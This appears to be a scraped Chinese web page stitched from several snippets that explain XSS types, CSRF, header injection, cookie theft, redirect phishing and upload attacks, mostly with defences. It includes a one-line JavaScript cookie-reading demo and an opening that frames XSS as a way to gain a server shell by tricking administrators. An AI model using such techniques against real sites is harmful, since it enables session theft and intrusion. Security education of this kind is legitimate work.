什么是XSS攻击XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术,但是其思路希望对大家有帮助。 [编辑本段]如何寻找XSS漏洞就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。
xss是什么意思 xss的意思介绍
跨站脚本,英文全称为Cross-Site Scripting,也被称为XSS或跨站脚本或跨站脚本攻击,是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户在浏览网页时就会收到影响。恶意用户利用XSS代码攻击成功后,可能得到很高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
XSS攻击可以分为三种:反射型、存储型和DOM型。
反射型XSS:
又称非持久型XSS,这种攻击方式往往具有一次性。
攻击方式:攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
存储型XSS:
存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。
攻击方式:这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器保存下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。
DOM型XSS
DOM全称Document Object Model,使用DOM可以使程序和脚本能够动态访问和更新文档内容、结构及样式。
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
HTML的标签都是节点,而这些节点组成了DOM的整体结构——节点树。通过HTML DOM,树中所有节点均可通过JavaScript进行访问。所有HTML(节点)均可被修改,也可以创建或删除节点。
网站被攻击有哪些方式,对应的表现是什么样的,详细有加分
一.跨站脚本攻击(XSS)
跨站脚本攻击(XSS,Cross-site scripting)是最常见和基本的攻击WEB网站的 *** 。攻击者在网页上发布包含攻击性代码的数据。当浏览者看到此网页时,特定的脚本就会以浏览者用 户的身份和权限来执行。通过XSS可以比较容易地修改用户数据、窃取用户信息,以及造成其它类型的攻击,例如CSRF攻击
常见解决办法:确保输出到HTML页面的数据以HTML的方式被转义
二. 跨站请求伪造攻击(CSRF)
跨站请求伪造(CSRF,Cross-site request forgery)是另一种常见的攻击。攻击者通过各种 *** 伪造一个请求,模仿用户提交表单的行为,从而达到修改用户的数据,或者执行特定任务的目的。为了 假冒用户的身份,CSRF攻击常常和XSS攻击配合起来做,但也可以通过其它手段,例如诱使用户点击一个包含攻击的链接
解决的思路有:
1.采用POST请求,增加攻击的难度.用户点击一个链接就可以发起GET类型的请求。而POST请求相对比较难,攻击者往往需要借助javascript才能实现
2.对请求进行认证,确保该请求确实是用户本人填写表单并提交的,而不是第三者伪造的.具体可以在会话中增加token,确保看到信息和提交信息的是同一个人
三.Http Heads攻击
凡是用浏览器查看任何WEB网站,无论你的WEB网站采用何种技术和框架,都用到了HTTP协议.HTTP协议在Response header和content之间,有一个空行,即两组CRLF(0x0D 0A)字符。这个空行标志着headers的结束和content的开始。“聪明”的攻击者可以利用这一点。只要攻击者有办法将任意字符“注入”到 headers中,这种攻击就可以发生
四.Cookie攻击
通过Java Script非常容易访问到当前网站的cookie。你可以打开任何网站,然后在浏览器地址栏中输 入:javascript:alert(doucment.cookie),立刻就可以看到当前站点的cookie(如果有的话)。攻击者可以利用这个特 性来取得你的关键信息。例如,和XSS攻击相配合,攻击者在你的浏览器上执行特定的Java Script脚本,取得你的cookie。假设这个网站仅依赖cookie来验证用户身份,那么攻击者就可以假冒你的身份来做一些事情。
现在多数浏览器都支持在cookie上打上HttpOnly的标记,凡有这个标志的cookie就无法通过Java Script来取得,如果能在关键cookie上打上这个标记,就会大大增强cookie的安全性
五.重定向攻击
一种常用的攻击手段是“钓鱼”。钓鱼攻击者,通常会发送给受害者一个合法链接,当链接被点击时,用户被导向一个似是而非的非法网站,从而达到骗取用户信 任、窃取用户资料的目的。为防止这种行为,我们必须对所有的重定向操作进行审核,以避免重定向到一个危险的地方.常见解决方案是白名单,将合法的要重定向 的url加到白名单中,非白名单上的域名重定向时拒之,第二种解决方案是重定向token,在合法的url上加上token,重定向时进行验证.
六.上传文件攻击
1.文件名攻击,上传的文件采用上传之前的文件名,可能造成:客户端和服务端字符码不兼容,导致文件名乱码问题;文件名包含脚本,从而造成攻击.
2.文件后缀攻击.上传的文件的后缀可能是exe可执行程序,js脚本等文件,这些程序可能被执行于受害者的客户端,甚至可能执行于服务器上.因此我们必须过滤文件名后缀,排除那些不被许可的文件名后缀.
3.文件内容攻击.IE6有一个很严重的问题 , 它不信任服务器所发送的content type,而是自动根据文件内容来识别文件的类型,并根据所识别的类型来显示或执行文件.如果上传一个gif文件,在文件末尾放一段js攻击脚本,就有可 能被执行.这种攻击,它的文件名和content type看起来都是合法的gif图片,然而其内容却包含脚本,这样的攻击无法用文件名过滤来排除,而是必须扫描其文件内容,才能识别。
0条大神的评论